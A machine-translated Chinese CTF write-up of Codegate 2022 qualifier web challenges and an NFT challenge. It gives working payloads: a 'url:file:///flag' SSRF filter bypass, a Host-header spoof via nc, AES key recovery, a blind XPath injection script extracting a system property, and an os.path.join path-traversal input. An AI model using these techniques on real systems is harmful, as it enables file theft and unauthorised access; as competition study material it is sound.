Codegate 2022 Web/Blockchain 题解
Codegate 2022 预选赛 Web 方向全部题目及 Blockchain (NFT) 题目题解
本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。
阅读原文(韩语)没进决赛,所以就随便写写吧……
Web 题解得太快了,所以只看了区块链题目,但个人对区块链实在太不了解,感觉非常遗憾 呜呜……
nft 题目多亏队友 epist 帮忙(感谢感谢)
[Baby First]
摘要
通过 SSRF 绕过 regex 检查泄漏 local file
因为题目名字里带有 baby,所以我最先看了这道题,可能正因如此拿到了 First Blood ;;;

大致看下代码,class 文件中的 lookupImg 函数会将 memo 内容中 [] 方括号里的部分作为 url 接收,解析 image 并将其放入 img tag 中。
pattern = Pattern.compile("^[a-z]+:");
matcher = pattern.matcher(tmp);
if (!matcher.find() || matcher.group().startsWith("file"))
return "";此时使用了 java.net.URL,但在此之前会用 startsWith 函数检查是否以 file: 协议开头。
对 java.net.URL 进行审计会发现

如上所示,可以看到如果以 url: 开头,start(input argument, url) 会执行 += 4 操作。
构造 memo=[url:file:///flag] 即可解出。

[ CAFE ]
摘要:xss bot 中存在 admin password(非预期解),利用 parse_url bug(?)(预期解)
case 'iframe':
$src = $element->src;
$host = parse_url($src)['host'];
if (strpos($host, 'youtube.com') !== false){
$result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
}
break;使用 parse_url($src)['host'] 进行 host 检查,但这很容易绕过。
相关文档方面,Orange 大佬的资料非常好。
懒得找了,就不单独放链接了。
# xss bot python code
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()总之原本是那样的问题,但 xss bot 里竟然包含了密码。
Web 题很快做完了,看了区块链,彻底没事干之后本来想按预期解法再看一遍,但因为卡在一道区块链题上直到比赛结束,所以没看成。大概用 javascript://youtube.com/[换行][代码] 应该就行。
[ superbee ]
摘要:admin/password(非预期解) AES uninitialized key+padding it, iv from key decrypt

说实话,比赛时我一直无法理解为什么这道题会被打到只剩 100 分。
啊,结果比赛结束后才听说账号是 admin/password。
呃……;
ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607首先把 auth_key 还是 auth_secret_key 来着?反正就是拿那个进行 AES CBC Encrypt 后显示在 admin 页面上。
虽然检查 host 是否为 localhost,但直接用 nc 连接并修改 host 后就直接拿到了。
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}大致看代码发现,上面加密时使用的 auth_crypt_key 只是声明了,并没有赋值。
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}然后对它进行 key size 大小的 padding,结果就是 \x10*16。
iv 也是从上面 padding 生成的 key 值中截取 blocksize 大小来使用的,所以我们同时知道了 key 和 iv。
arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'暴力解密

拿到 Flag
[ myblog ]
摘要:通过 blind xpath injection 泄漏 catalina.properties 中设置的 environ variable
现在一遇到 jsp 题目,就已经养成了先审计 Tomcat、JDK 的习惯。
看到 catalina.properties 里设置了 flag,大概猜想到在使用 xpath 时内部可能会调用 System.getProperty 之类的函数,于是请出我们的 Sublime 神器,用 ctrl+shift+f 搜索 getProperty 进行了 reference check。
结果发现 SecuritySupport.java 里有用到的地方,大概记了一下,

感觉是要利用 xpath function 来解题,看了一下那边发现有个叫 system-property 的家伙看起来很不错。
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/Keywords.java#L301
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/FunctionTable.java#L224
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java#L101
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/jdk/xml/internal/SecuritySupport.java#L87
可以看到大致是按上面的流程调用的,

本地测试 bingo
大致编写 blind xpath injeciton 语句检查 length,
from arang import *
s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
for c in "0123456789abcdef}":
url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
r = s.get(url)
if 'asdf' not in r.content.decode():
flag += c
print(f"[{len(flag)}/46] flag - {flag}")
break执行 exploit

获取 flag
[ nft ]
摘要:虽然是 blockchain 但其实是 webchall,利用了 1day 和 python trick
modifier contains (string memory what, string memory where) {
bytes memory whatBytes = bytes (what);
bytes memory whereBytes = bytes (where);
require(whereBytes.length >= whatBytes.length);
bool found = false;
for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
bool flag = true;
for (uint j = 0; j < whatBytes.length; j++)
if (whereBytes [i + j] != whatBytes [j]) {
flag = false;
break;
}
if (flag) {
found = true;
break;
}
}
require (!found);
_;
}contains 函数有点简陋。
[requirements.txt 内容]
Django==3.2.1
?
https://packetstormsecurity.com/files/cve/CVE-2021-33571
Good
>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')现在传入 127.00.0.1 就可以绕过 contains。
>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'nft_file = uri.split(nft_path + '/')[-1]
if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
path = os.path.join(os.getcwd(), nft_path, nft_file)
with open(path, 'rb') as f:
return f.read()存在一个 trick:在使用 os.path.join 时,如果第三个参数给出绝对路径,结果就会变成绝对路径。
结合这个的话,
127.00.0.1/acount/storages//home/ctf/flag.txt
这样传参的话,with open(path, 'rb') as f 中的 path 就会变成 /home/ctf/flag.txt,从而读取到 flag。
虽然找到了漏洞,但我是区块链菜鸟,没能完成实际利用(exploit),是队友 epist 代替我完成的(感谢感谢)。
评论